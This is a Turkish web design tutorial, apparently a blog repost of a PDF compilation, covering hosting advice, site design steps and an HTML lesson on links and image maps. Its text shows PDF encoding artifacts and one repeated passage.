Altın Öğütler
Hosting Hizmeti Alırken
1. ġirket ne kadar güvenilir. Referansları ne durumda
kontrol edilmelidir.
2. Host referans sitelerinden Ģirket hakkındaki
olumlu-yada olumsuz bilgiler kontrol edilmelidir.
3. ġirketin UP-time vaadi kontrol edilmelidir. %100
up time oranını kimse sağlayamaz ama ne kadar
yüksekse o kadar iyidir.
4. Ġhtiyacınız olan hizmete iyi karar vermeliniz.
Örneğin sadece Ģiirlerini yaınlayacağınız bir site için
IIS üzerinde hizmet veren bir paket daha pahalı
olacaktır. Oysa Linux+Apache ikili ile çok daha
ucuz bir çözüm bulabilirsiniz.
5. ġirketlerin hizmet paketlerini detaylıca karĢılaĢtırın.
Paketlerde kaç Mb alan verileceği, ne kadar Bant
GeniĢliği tanındığını, Veritabanı dahil olup
olmadığını, ilave mail hesabı verip verilmediğini
kontrol etmelisiniz.
6. Kontrol panelinin ne olduğu da önemlidir. Genel
itibari hepsi kolay kullanımlıdır ama bazı paneller
site sahipleri için hayatı inanılmaz derecede
kolaylaĢtırırlar.
Web Sitesi Yaparken
1. Öncelik içeriktir. ġekil sonra gelir. Ġçerik olduktan
sonra Ģekil nasıl olsa çözülür.
2. Sade olun. Abartıdan kaçının. Bir arap Ģairin dediği
gibi bir ağaçta ne kadar çok yaprak varsa o kadar
az meyve olur.
3. Gereksiz resim, hareketli gif, animasyon ve film
dosyalarından kaçının. Kullanıcılar anlamsız bir
resim için sayfanızın geciken yüklemesini beklemek
zorunda değildirler.
4. Kullanıcılar sayfaya ne için geldilerse onu en kısa
yoldan bulsunlar. Kimseyi oradan oraya linklerle
süründürmeyin.
5. Sayfanızda meta tag kullanımına özen gösterin ki
arama motorlarındaki aramalarda müstakbel
ziyaretçilerin sizden haberi olsun.
6. Renk uyumuna dikkat edin. Erkek Giyim
mağazasına Pembe, Genç kızlar için Fan sitesine
Gece mavisi renk uymaz. Renk kontratsıda önemli
bir konudur.
7. Siteniz genel bir Ģablonu takip etsin ve
biçimlendirmeler genel itibarı ile aynı olsun.
Site Tasarımı Adımları
1. Siteyi oluĢturmaya önce kağıt üzerinde baĢlayın.
Tasarım olmadan iĢleme baĢlarsanız o kadar çok
baĢa dönersiniz ki siz bile ĢaĢarsınız.
2. Sitenin nasıl görüneceğini anahat olarak
belirledikten sonra kullanacağınız teknikleri
belirleyin. Site grafik ağırlıklı mı olacak yoksa
FLASH mı kullanılacak, içerik yönetim sistemi
kullanılacak mı.
3. Bu iĢ için uygun donanım ve yazılıma sahip olup
olmadığınızı kontrol edin
4. Yapacağız site tasarımlarını test etmek için
sisteminize birkaç ayrı web tarayıcısı kurun. Benim
kiĢisel tercihim Internet Explorer, Firefox ve Opera
ilk anda yeterlidir. (IE için 5.5,6 ve 7 sürümleri
arasında dağlar kadar fark olduğunu unutmamakta
fayda var)
5. ĠĢ için gerekeceğini düĢündüğünüz Javascript
dosyalarını elinizin altında bulundurun eğer yoksa
bulmak için Open source arĢivlerden tarama yapın.
6. Sitenin ana teması tablo yada CSS olarak kodlayın
7. Sitede kullanılacak resimleri ve yazı stillerini
belirleyin
8. Site kodlarınızı oluĢturun.
9. Sitenizi test edin.
Diğer tarayıcılarda nasıl görünüyor
Stillerde düzeltilmesi gereken yerler varmı
DeğiĢik ekran çözünürlüklerinde nasıl görünüyor
Baskı önizleme yaptığınızda kağıt üstündeki hali
normalmi
Dikkatten kaçan bir nokta varmı
Yazım hataları varmı
Bir Site Tasarlarken
Çok kolay gibi görünür ancak web tasarımı çok zor bir
konudur. KarĢınızdaki insanın ne istediğini anlamadan
ona istediğinizi kabul ettirebileceğiniz bir dönemde de
değiliz. O yüzden öncelikle site sahibinin ne istediğini
dinlemek, sitede yer verilecek konuyu anlamak gerekir.
Bu aĢamada site sahibinin zevklerini, site Ģirket içinse
kurumsal renklerini, iĢ ile ilgili birkaç bilgiyi edinmek,
aynı iĢi yapan Ģirketlere ait siteleri inceleyip bilgi sahibi
olmak karĢı tarafta iĢinin ehliyle çalıĢıyor olduğu izlenimi
uyandırır.
Daha sonra kağıt üzerinde sitenin genel görümü çizilmeli
ve site sahibinin bu konudaki fikri alınmalıdır. Bu, birinci
sayfadan sonuncuya kadar, sitenizdeki tüm sayfaların
ekran görüntüsünü kağıt üzerinde resmetmek demektir.
(Bu her zaman gerekmez. Çünkü müĢteri genel
görünüme karar verip bilgilerin bu temaya uygun
yerleĢtirilmesi yeterlidir diyebilir)
Sitede kullanılacak tekniklerin belirlenmesi de önemlidir.
Flash animasyon olacak mı olmayacak mı gibi. Ayrıca
bazı durumlarda bazı hazır içerik yönetim sitemlerinin
kullanımıda düĢünülebilir. Sitede dinamik bir dil
kullanılacaksa hangi dilin kullanılacağı veri duyarlı
olacaksa hangi veritabanının kullanılacağının bilinmesi
önemlidir.
Sitenin oluĢturulması için gerekli grafik programları,
HTML editörü, site yönetim programı, kelime-iĢlem
programı, geliĢtirme sürecinde kullanılacak lokal bir web
sunucu tasarımcının kullandığı bilgisayarda yüklü
olmalıdır. Tabii birde tasarımcı bunları çalıĢtıracak uygun
bir bilgisayara sahip olmalıdır.
Tabii burada Ģu da unutulmamalıdır. Web sitesi yapmak
için illa 1000 $ verip Photoshop, 500 $ verip
Dreamweaver almaya gerek yoktur. Bunların daha ucuz
alternatifleri olduğu gibi Open source programlarda
mevcuttur. Önerim Gimp, Nvu, Open Lazslo, Notepad++,
Pogrammers Editor gibi programların indirilip
denenmesidir. Ben Ģu ana kadar Gimp kullandım ve
tıkandığını hatırlamıyorum.
Normal bir web kullanıcısı için bir tarayıcı yeterlidir ama
tasarımcı için değil. Çünkü tasarımcı, yaptığı tasarımın en
azından en popüler tarayıcılarda düzgün göründüğünden
emin olmalıdır.
Site tasarımı yapan bir kiĢi internette gezerken gördüğü
güzel tasarım stillerini, menü stillerini, javascriptleri ve
geliĢmiĢ teknikleri bir köĢede tasnifleyerek tutmak gibi
bir özlliğe sahip olmalıdır. Bunu söylerken kesinlikle
baĢkalarına ait bir Ģeyin aynen alıp kullanılması değil,
nasıl yapıldığının öğrenilmesi kastedilmiĢtir. Tabii bazı
kodlar open source olduğundan aynen kullanmakta bir
beis yoktur.
Kağıda çizilen temayı tablo yada CSS olarak
oluĢturmakla iĢleme baĢlanır. Ġlgili linkler, grafikler vs
yerleĢtirilir ve site sahibinin genel düĢünceleri alınır.
Gerekli ise değiĢiklikler yapılır ve daha sonra diğer
sayfaların kodlanmasına geçilir.
Daha sonra test aĢamasına geçilmeli ve yukarda anılan
tüm hatalar kontrol edilip gerekli düzenleler yapılmalıdır.
Özellikle tarayıcı testi çok önemlidir. Çünkü müĢteri siteyi
Ģekillerde görürse, iĢin kalitesinden Ģüphe eder. Ufak
tefek farklar izah edilebilir ancak birbirine giren
katmanlar, ekranda adeta zıplayan menü CSS menüleri
(benim baĢıma geldi site 7 sürümünde normaldi ancak IE
6 kullanan biri tam o anda denk gelip sitenin karizmasını
bozmuĢtu) izah edilemez.
Sitede kullanılan dosyaların isimlerini, klasörleri vs
kontrol edip hepsini aynı notasona getirmekte fayda
vardır. Genel olarak tüm web sitelerinde tüm dosya
isimleri küçük harf kullanılırlar. Çünkü hosting iĢleminin
olacağı sistemde Windows mu Linux mu kurulu olmasına
göre bu isimlerin durumu önem kazanır.
Bu aĢamada hosting için uygun yer belirlenir ve gerekli
FTP ayarları yapılıp site web üzerine kopyalanır. Site son
bir kez kontrol edilip, telim edilir.
Bir Web Sitesinin Tutulmasını Sağlayan
Etkenler
Internette tek tıklama uzağımızda miyonlarca ve hatta
milyarlarca site varken neden sadece bazıları çok büyük
hit sayılarına ulaĢırken bazıları unutulup gider diye
düĢündünüzmü ? Örneğin bir zamanların gözde arama
motoru www.excite.com nerdeyse adı bile unutulmuĢ
durumda, ilk arama motoru www.yahoo.com aĢırı kan
kaybına devam edip durmakta.
Yine aynı Ģekilde nerdeyse unutulan Altavista motorunun
araĢtırma ekibi lideri, Google‘ın yerinde bir olabilrdik
derken, bir gerçeği ifade etmektedir. Ġfadesine göre
arama motoruna gömülü reklam fikri çok daha
öncesinde onların gündemine zaten gelmiĢ ancak,
―kullanıcılar bundan hoĢlanmaz‖ diye Ģanslarını
denemedikleri için Ģans kapıyı iki kere çalmamıĢ ve
altavista eski teknolojili bir arama motoru olarak
kalmaya devam etmiĢ. Bu gün itibariyle söyledikleri ise
―en iyi teknolojiye ahip olmak yetmez, bunu uygun
giriĢimlerlede desteklemelisiniz.‖
Bunlar olurken nasıl olupta birkaç yıllık www.google.com
inanılmaz karlara, eriĢim rekorlarına sahip olmaktadır.
Öyle ki ABD baĢkan yardımcı ―dünyanın yuvarlar
olduğuna artık inandım‖ dedikten sonra kendisine
yöneltilen ―nasıl‖ sorusuna ―Google sayesinde‖ demekte.
Internette arama anlamına gelen ―Googling‖ kelimesi
nerdeyse sözlüklere girmek üzere. Peki bunlar nasıl
oluyor…
Bu olayı 5 ana baĢlıkta incelemek mümkün
1. Tanıtım
2. Kullanıcı dostu tasarım
3. EriĢilebilirlik
4. Kaliteli içerik
5. Geri Besleme
Bu baĢlıkları biraz açarak inceleyelim
Tanıtım
Günümüzde web ortamına hergün milyonlarca sayfa,
binlerce site katılmaktadır. Durum bu iken insanların
sitenizi ziyaret etmesi için haliyle iyi bir sebepleri
olmalıdır. Sebep olsa bile en basitinden insanların
bundan haberi olması için Google robotlarının sayfanıza
uğraması gerekmektedir. Bunu çabuklaĢtırmal ve sürekli
kılmak için bütçeniz uygun ise web sitelerine ve arama
motorlarına reklam verebilrsiniz. Google reklam veren
siteleri aramalarda en üst sıralarda göstermektedir.
Ayrıca kardeĢ site dediğimiz siteler edinmeli, onlara link
vermeli ve onlarında size link vermelerini sağlamalısınız.
Örneğin Google indekslerini oluĢtururken diğer sitelerden
sizin sitenize belirli bir sayıda bağlantı erilmemiĢse sizin
sitenizi ciddi anlamda bir referans olarak kabul
etmemektedir. Tanıtım bu yüzden önemli bir adımdır.
Kullanıcı Dostu Tasarım
Bir sitede içerikten sonra en önemli Ģey görünümdür.
Görünüm kötü ise içerik iyi bile olsa kullanıcı sitenize bir
daha zor gelecektir. Sitede gerektiği kadar resim vs
kullanılmalı, siteniz hızlı yüklenmelidir. Ġçeriği kolay
anlaĢılır Ģekilde dizayn etmelisiniz. Bir sayfadan diğerine
geçerken sitenizin tüm sayfa yapısı değiĢiyorsa kullanıcı
takipte zorlanmaya baĢlar.
EriĢilebilirlik
Google yada baĢka bir arama motorunun altında ―bu site
en iyi x tarayıcı ile çalıĢır‖ diye bir ifade gören birisi
olmuĢmudur acaba. Ben göremedim ve göreceğimide hiç
sanmıyorum. O halde site içeriği ve görünümü nasıl
olursa olsun her Ģekilde siteniz ortalama bir görüntü
kalitesi yakalamalıdır. Ziyaretçiler sitenize hangi tarayıcı
ile bakarsa baksın içeriğinizi doğru Ģekilde
görüntüleyebilmelidir. Site tasarlanırken sadece tek bir
tarayıcıda çalıĢan etiketlerden kaçınılmalıdır.
Kaliteli Ġçerik
Örneğin tarih konulu bir siteniz var ve Ankara SavaĢı
hakkında araĢtırma yapan birisi sitenize girdiğinde
sadece ―Ankara SavaĢı sonucu Fetret devrine girildi‖
bilgisini buluyorsa içerikle ilgili sorununuz var demektir.
Kullanıcılar en çok arama sitelerini kullanırlar ve buradan
sitelere bakmaya baĢlarlar. Kalite içeriğiniz yok ise kimse
sitenize link vermez. Yeterince link alamazsanız, google
ve diğer arama motorları sizi alt sıralara atarlar.
Kullanıcıyı mümkün mertebe sitenizde tutmanız gerekir.
Örneğin bu sayfanın yanında ―KurtuluĢ SavaĢı, Preveze
Deniz SavaĢı‖ gibi linkler olur ise ziyaretçiniz belki bu
linklerede tıklayacaktır.
Geri Besleme
Sitenizin tasarımı ve içeriği size tamamen doyurucu
gelebilir ancak kullanıcıların hataları, isteklerini ve
önerilerini size bildirebilmeleri için geri besleme olanağı
sunmalısınız. Örneğin Tuncay ġanlı için bir fan sitesi
hazırlıyorsunuz. Ġçerik sizce gayet yeterli ama bir
kullanısınız, bir maç sonrası ilgili Ģahsın UEFA‘da haftanın
golcüsü seçildiğini ama bunun sizin içerikte olmadığını
fark etti. Kullanıcı bunu size bildirebilmeli ve sizde bunu
en kısa sürede düzeltebilmelisiniz. Böylece hem içerik
güzelleĢir, çoğalır, hemde kullanıcı kendisi ile site
arasında bir bağ kurar. Çünkü site sahibi ona değer
vermiĢ ve önerisini hemen yerine getirmiĢtir.
HTML etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster
HTML etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster
22 Haziran 2016 Çarşamba
HTML Ders 8:Bağlantı’ya (LINK) Giriş
HTML’de Bağlantı’ya (LINK) Giriş
Buraya kadar gördüklerimiz metini biçimlendiren ve
gösterimi ile ilgili etiketlerdi. Oysa web ile biraz ilgili birisi
bile linkler olmadan web ortamından hiçbir Ģey
yapılamayacağını bilir. Çünkü linkler yardımı ile
kullanıcılar bir web adresinden diğerine özgürce
gezebilirler. Ancak tabiî ki verilen bağlantının hedefindeki
resim, ses, vide yada web adresi doğru olmalıdır. Aksi
taktirde ―kırık link‖ (dead link, broken link) dediğimiz
adeta çıkmaz sokak sayılacak bir kopukluk oluĢur.
Örneğin link verirken ―c:\belgelerim\cv.doc‖ linkini
verdiniz ve amacınız kullanıcıların cv dosyanıza
eriĢebilmesi. Peki sizin sabit diskinizde kendi halinde
duran bir dosyaya, sabit diskiniz Internet‘e açık değilse,
kullanıcı nasıl eriĢecek.. Tabii bu traj komik örnekte asıl
sorun Ģu, hardiskinizi internete açtınız diyelim, bu sefer
özel bilgilerinizi nasıl koruyacaksınız?
<A>..</A> etiketi HTML‘e hareket kazandıran ve link
vermeyi sağlayan etikettir. HTML etiketleri arasında
Anchor (A) etiketinin yanı sıra, <BASE> ve <LINK>
etiketleri de, bir noktadan bir diğerine gitmemizi sağlar.
<PRE></PRE>: Önceden düzenlenmiĢ (preformatted)
metin blokları için kullanılır. Normalde, HTML birden çok
whitespace'i tek bir boĢluk karakteriyle değiĢtirdiği için,
görüntülenmesi baĢka türlü mümkün olmayan metin
blokları bu tag yardımıyla görüntülenebili
<A>..</A> etiketine özellik kazandıran parametreler
Ģunlardır:
ACCESSKEY=‖metin‖: Bu parametre ile, bağlantının fare
ile tıklamak yerine, klavyede bir veya birden fazla tuĢa
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
94
basarak yapılmasını sağlayabilirsiniz. ―Metin‖ kelimesinin
yerine yazacağınız karakterler, klavye kestirmesi olur.
CHARSET=‖metin‖: Bağlantı sağlanan Web kaynağının,
tarayıcıda hangi dil kodlamasıyla gösterileceğini belirler.
Verilmediği takdirde, kullanıcının tarayıcı programı ISO-
8859-1 olan ASCII kodunu seçer.
COORDS=‖X1, Y1, X2, Y2... Xn, Yn‖: Bu parametre,
bağlantının metinde değil, bir grafik üzerinde
oluĢturulması halinde, resmin hangi koordinatları arası
tıklanırsa, bağlantının sağlanacağını gösterir. Bu etiket,
SHAPE ile birlikte kullanılır. (Bu sayede bir resmin çeĢitli
kısımlarına basıldığından farklı adreslere gidilmesi
mümkün olur. Buna image map denilir)
HREF=‖url‖: URL, (Uniform Recourse Locator)
Internet‘te bulunan bir adres demektir.Bu adres, HTTP,
FTP veya elektronik posta yoluyla ulaĢılabilecek bir Web
alanı ve o alanın içindeki bir dosya olabilir. UlaĢılacak
dosya, HTML dosyası olabileceği gibi bir Word , Excel
dosyasıda olabilir, grafik, ses, video ya da sıkıĢtırılmıĢ
ZIP dosyası da olabilir. Tarayıcılar genellikle, bir bağlantı
ile kendisine gelen dosyayı ne yapacağını bilemezse
(örneğin bir zip dosyası), kullanıcıya bu dosyayı yerel
sabit diske kaydetmeyi önerirler.
NAME=‖metin‖: Anchor‘a isim vererek, daha sonra bu
noktaya atıfta bulunma imkanı kazandırır. Bunu, bir
sayfanın kendi içinde, link vermek için kullanabilirsiniz.
Çok uzun bir sayfanın baĢtarafına <a name="top">
Ģeklinde bir ―isimlendirilmiĢ Anchor‖ noktası koyarsanız
ve aĢağıda baĢtarafa dönüĢü kolaylaĢtırmak için Ģöyle bir
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
95
bağlantı yapabilirsiniz: <A HREF="ust‖>Sayfa baĢına git
</A>
REL=‖metin‖: Kurulacak iliĢkinin niteliğini belirtir.
Tarayıcılar, çoğu zaman bu ifadeye bakarak, bağlantı
kurulunca ne yapabileceklerini bilirler. Örneğin ―metin‖
yerine ―stylesheet‖ yazarak, tarayıcıya alacağı dosyanın,
daha sonra metinleri biçimlendirmekte kullanılacağını
söyleyebiliriz.
SHAPE=(RECT/CIRCLE/POLY/DEFAULT): Bu etiketin
karĢısına yazacağınız ifade ile, tarayıcıya bir resim
dosyasının üzerine konmuĢ bağlantı noktasının biçimini
tanımlarsınız.
Rect Ģeklin dörtgen,
circle daire,
poly çok kenarlı
default ise arayıcının varsayılan bağlantı Ģekli
olduğunu ifade eder.
Bu parametreyi COORDS parametresi ile birlikte
kullanmak gerekir. Bu durumda COORDS etiketinin
önüne yazacağınız ―X1, Y1, X2, Y2, Xn, Yn‖ Ģeklindeki
koordinatların da anlamı farklı olur. SHAPE etiketini
―rect‖ olarak bildirirseniz, X1 ve Y1 Ģekin sol üst
köĢesinin, tarayıcı penceresinin sol üst köĢesinden
itibaren kaç pixel sağa ve aĢağı konulacağını; X2 ve Y2
ise Ģeklin sağ alt köĢesinin koordinatlarını gösterir
(Örnek: SHAPE=rect, COORDS=‖0,0,9,9‖). SHAPE‘i
―circle‖ olarak tanımlarsanız, koordinatlar dairenin
merkezini ve çapını gösterir (Örnek: SHAPE=circle
COORDS=‖10,10,5). Çok kenarlı bir Ģekil tanımlamanız
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
96
halinde, her bir koordinat diğerine, son koordinat da
birinciye bağlanır (Örnek SHAPE=poly
COORDS=‖10,50,25,20,20,50‖).
TARGET=‖pencere‖: Bu etiketle linkin sayfa içindeki
hangi frame (yada boĢ bir yeni sayfaya) yükleneceği
belirtilir. FRAMESET etiketi bulunan bir sayfada
kullanılması halinde, alınacak sayfanın hangi frame içine
konulacağını gösterir. Burada ―pencere‖ kelimesinin
yerine Ģu değerler yazılabilir:
―çerçeve adı‖: OluĢturulan çerçevelere önceden isim
verilmiĢ ise, o isimler buraya yazılarak, sayfa frame içine
yüklenir. Çerçeve isimleri mutlaka rakam veya harfle
baĢlamalıdır.
_blank: Linkin hedefi yeni bir tarayıcı
penceresinde açılır. Frameler içinde baĢka bir
siteye link vermek için bu önemlidir.
_parent: Alınacak unsur, o anda açık sayfayı
oluĢturmuĢ bir ana sayfa varsa, onun yerine
konulur.
_self: Alınacak sayfa mevcut sayfanın bulunduğu
tarayıcı perceresine konulur.
_top: Alınacak sayfa mevcut pencereye en üstten
itibaren konulur.
Frame kullanan bir sayfada baĢka bir siteye link
verildiğinde _blank kullanılmadığında sayfada bulunan
mevcut sabit frameler duracağından diğer site sizin
sayfanızın içine gömülecektir. Hele birde link verilen
sitede frame ise iĢte o zaman az yağlı az piĢmiĢ
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
97
bulgur çorbası tarzı birbirine geçmiĢ bir ekran
görüntümüz olacaktır.
HTML’de Bağlantı Türleri
HTTP bağlantıları:
Link, tarayıcının HTTP protokolünü kullanarak
ulaĢabileceği bir alanda ise, bunun gönderme ifadesi, <A
HREF="http://site adresi/sayfa adi.htm">Link metni
</A> Ģeklinde yazılır. BaĢka bir Web alanında belirli
dosyaya değil de, alanın birinci sayfasına (home page,
index page, vs.) bağlantı veriyorsak, bağlantıyı <A
HREF="http://www.hedefsite.com.tr/"> olarak yazmak
gerekir. Web server anasayfa hangi dosya ise onu
gönderecektir.
FTP bağlantıları:
Kimi zaman, HTTP protolünü değil de FTP (File Transfer
Protocol) yöntemini kullanarak, bir dosyayı kendi
bilgisayarına indirmesini sağlamamız gerekebilir. Bunun
için link ifademiz, örneğin Ģöyle olur: <A
HREF="ftp://download.com/pub/">Bedava
programlar</A>
Haber Grupları:
Internet‘in bilgi paylaĢımı amacına yönelik bu
kullanımında, tartıĢma gruplarına yer verilen Usenet
servisi için prtokol belirtilmez. Usenet‘ için örnek olarak:
<A HREF="news:comp.ibm.www.developers.html">
GeliĢtiriciler grubu </A>
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
98
Elektronik Posta Bağlantısı:
Bazen kullanıcın bir linke tıkladığından hemen o linkteki
bir adrese e-mail atmak üzere kullanıcının varsayılan email
programının açılması istenebilir. Örnek olarak
<A HREF="mailto:webmaster@bizimweb.com.tr‖>e-mail
gönder </A>
Dosya Bağlantıları:
Sabit bir dosyaya link vermek için kullanılır. En çok
intranet ortamlarında kullanılır. Örnek olarak,
<A
HREF="file://server/yazılımlar/kulanım.html">Kullanım
rehberi </A> gibi
Diğer bağlantılar:
Internet‘in ilk günlerinde daha sık kullanılmıĢ olsalarda
Gopher, ve çok geniĢ bir alana yayılmıĢ ağlarda veri
tabanı araĢtırması yapmaya imkan veren WAIS, çok
yaygın olmamakla birlikte, HREF ifadesi olarak
kullanılabilir.
Linkler hakkında detaylı bilgi için
http://www.w3.org/addressing/schemes.html adresine
bakabilirsiniz.
Neden “\” değilde “/” kullanılıyor?
HREF ile kullanılan düz bölü ―/‖ iĢareti dikkatinizi çekmiĢ
olmalı. ĠĢin aslı Ģu Unix türevi sistemlerde klasör
hiyerarĢisi ―/‖ ile ifade edilirken Windows içinde bu iĢem
―\‖ ile ifade edilemektedir. Aslında ―\‖ iĢareti ile ―‖/‖
arasında hiçbir fark yok ve iĢlevleri de aynı. Yani
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
99
Windows altında link verirken ―\‖ ilede link verirseniz link
çalıĢır ancak unutmayın ki sayfa bir de hosting
bilgisayarına yüklenecektir. Peki web server iĢletim
sistemi Windows değilse ne olacak. Tabiî ki link
kırılılacak. Windows altında ―\‖ yazılsada web server
programı bunu normal karĢılığna çevirerek iĢlem yapar.
Ancak Linux server içinse bu sorundur.
―\dosyalar\sayfa.html‖ yazdığınızda Linux sizin dosyalr
klasörü içinde bulunan sayfam dosyasını kastettiğinizi
bilemez.
Resimleri Link BaĢlığı Vermek Ġçin Kullanmak
Link verirken yazdığımız bir kodu ele alalım.
<A HREF="http://site adresi/sayfa adi.htm">Link metni
</A>
Burada ―Link metni‖ yazısı link olduğunu belirtmek üzere
altı çizili yazılacaktır ve buraya tıklandığı andada hedef
linke gidilecektir. Burada link metni yerine bir resim
dosyası kullanılırsa, resim linkin simgesi olacak ve resme
tıklandığında link açılacaktır. Örneğin
<A HREF="http://site adresi/sayfa adi.htm"><img
src=‖dugme.jpg> </A>
gibi. Tabii istenirse </A> metninden önce metin
yazmakta mümkündür.
<A HREF="http://site adresi/sayfa adi.htm"><img
src=‖dugme.jpg> <br>Link metni</A> gibi
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
100
Resim Haritası (Image Map) ile Link Kullanımı
Resimlerin farklı kısımlarından farklı yerlere link vermek
isterseniz resim haritalarından faydalabilirsiniz. Örneğin
ilk anda aklınıza gelebileceği gibi Türkiye haritası
üzerinde tıklanacak ile göre ilgili ilin sayfasına geçiĢ
yaptırılabilir.
Resim haritası bir resim üzerindeki tanımlanmıĢ etkin
noktaları (hotspots) link olarak belirler. Etkin noktalar
dikdörtgen veya yuvarlak olabileceği gibi düzensiz
Ģekiller de olabilir. Bunlar için uygun koordinatlar
belirtilmelidir.
Dikdörtgen etkin noktanın konumu iki noktayla
tanımlanır: sol üst ve sağ alt köĢeler. Her nokta resmin
sol-üst köĢesinden yatay ve dikey uzaklığını piksel
cinsinden belirten bir sayı çiftiyle tanımlanır. AĢağıdaki
örnekte 0,0 etkin noktanın sol üst köĢesinin 50,50 de
sağ alt köĢesinin resmin sol üst köĢesine olan uzaklığıdır.
<map name="haritaadi" id="haritaadi">
<area shape="rect" coords="0,0,150,150"
href="adana.htm" />
</map>
Yuvarlak etkin noktanın konumunu tanımlamak için üç
adet koordinat kullanılır: ikisi (yatay ve dikey değerler)
dairenin merkezini tanımlamak için, üçüncüsü dairenin
yarı çapı içindir.
<map name="haritaadi" id="haritaadi">
<area shape="circle" coords="100,150,60"
href="adana.htm" />
</map>
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
101
Çok köĢeli etkin noktanın konumunu tanımlamak için
Ģeklin tüm köĢelerinin koordinatları kullanılır. Çok köĢeli
etkin noktalar tanımlanan noktaları birleĢtiren düz
çizgilerden oluĢur. AĢağıda beĢ köĢeli bir etkin nokta için
gereken kod verilmiĢtir:
<map name="haritaadi" id="haritaadi">
<area shape="poly"
coords="310,14,559,195,274,356,5,118,126,411"
href="ankara.htm" />
</map>
AĢağıdaki resimde 4 adet geometrik Ģekle de link
verilmiĢtir. <img> etiketine usemap="#haritaismi"
eklendiğinde haritaismi adlı resim haritasına göre resim
içerisinde linkler belirir.
Link Verirken Relative (göreceli) ve Absolute
(mutlak) Adreslemelerin Farkları
www.abc.com sitesinin tasarlandığını,
www.abc.com/yazilar adresinde ise makaleler
yayınlanacağını varsayalım.
“yazi1.html” dosyasına link verirken
“yazilar/yazi1.html” adresi kullanılabilir. Ancak
istenirse “http://www.abc.com/yazilar/yazi1.html”
adreside kullanılabilir. Bunların birincisi göreceli ikincisi
ise mutlak adreslemedir.
Her ikisinin de hem avantajı hem de dezavantajları
vardır:
Relative adreslenerek oluĢturulan sayfaların bir
makineden diğerine taĢınması kolaydır
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
102
Relative linkler bir üst seviyedeki sayfa taĢındığı
zaman kırılırlar. (Örneğimizde ―yazilar‖ kladörü
kalkarsa tüm linkler bu ısımdaki tüm linkler
kırılacaktır)
Relative linkleri local serverlarda çalıĢtırıp denemek
daha kolaydır.
Absolute adreslemede yazılan linkler daha uzundur
ve bakımı daha zordur
Bazı dosyaların mutlaka sunucudan yüklenmesini
istiyorsanız (bir kullanıcının sayfanın bir kopyasını
kendi makinesine indirmesi durumunda) kesin
sonuç verir.
Bu iki adresleme arasındaki farkları bilerek hazırlanan bir
sitede normalde göreceli ve mutlak adresleme beraber
kullanılır, ve göreceli adreslerin sayısı genelde daha çok
olur. Ġyi bir sitede yapılabilecek bir düzenleme,
bütünlüğünün bozulmaması gereken sayfalarda, göreceli
adresleme kullanmak, ve her yüklendiğinde değiĢen
sayfalara da mutlak link vermektir, örneğin saatbaĢı
değiĢen istatistikler gibi.
Buraya kadar gördüklerimiz metini biçimlendiren ve
gösterimi ile ilgili etiketlerdi. Oysa web ile biraz ilgili birisi
bile linkler olmadan web ortamından hiçbir Ģey
yapılamayacağını bilir. Çünkü linkler yardımı ile
kullanıcılar bir web adresinden diğerine özgürce
gezebilirler. Ancak tabiî ki verilen bağlantının hedefindeki
resim, ses, vide yada web adresi doğru olmalıdır. Aksi
taktirde ―kırık link‖ (dead link, broken link) dediğimiz
adeta çıkmaz sokak sayılacak bir kopukluk oluĢur.
Örneğin link verirken ―c:\belgelerim\cv.doc‖ linkini
verdiniz ve amacınız kullanıcıların cv dosyanıza
eriĢebilmesi. Peki sizin sabit diskinizde kendi halinde
duran bir dosyaya, sabit diskiniz Internet‘e açık değilse,
kullanıcı nasıl eriĢecek.. Tabii bu traj komik örnekte asıl
sorun Ģu, hardiskinizi internete açtınız diyelim, bu sefer
özel bilgilerinizi nasıl koruyacaksınız?
<A>..</A> etiketi HTML‘e hareket kazandıran ve link
vermeyi sağlayan etikettir. HTML etiketleri arasında
Anchor (A) etiketinin yanı sıra, <BASE> ve <LINK>
etiketleri de, bir noktadan bir diğerine gitmemizi sağlar.
<PRE></PRE>: Önceden düzenlenmiĢ (preformatted)
metin blokları için kullanılır. Normalde, HTML birden çok
whitespace'i tek bir boĢluk karakteriyle değiĢtirdiği için,
görüntülenmesi baĢka türlü mümkün olmayan metin
blokları bu tag yardımıyla görüntülenebili
<A>..</A> etiketine özellik kazandıran parametreler
Ģunlardır:
ACCESSKEY=‖metin‖: Bu parametre ile, bağlantının fare
ile tıklamak yerine, klavyede bir veya birden fazla tuĢa
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
94
basarak yapılmasını sağlayabilirsiniz. ―Metin‖ kelimesinin
yerine yazacağınız karakterler, klavye kestirmesi olur.
CHARSET=‖metin‖: Bağlantı sağlanan Web kaynağının,
tarayıcıda hangi dil kodlamasıyla gösterileceğini belirler.
Verilmediği takdirde, kullanıcının tarayıcı programı ISO-
8859-1 olan ASCII kodunu seçer.
COORDS=‖X1, Y1, X2, Y2... Xn, Yn‖: Bu parametre,
bağlantının metinde değil, bir grafik üzerinde
oluĢturulması halinde, resmin hangi koordinatları arası
tıklanırsa, bağlantının sağlanacağını gösterir. Bu etiket,
SHAPE ile birlikte kullanılır. (Bu sayede bir resmin çeĢitli
kısımlarına basıldığından farklı adreslere gidilmesi
mümkün olur. Buna image map denilir)
HREF=‖url‖: URL, (Uniform Recourse Locator)
Internet‘te bulunan bir adres demektir.Bu adres, HTTP,
FTP veya elektronik posta yoluyla ulaĢılabilecek bir Web
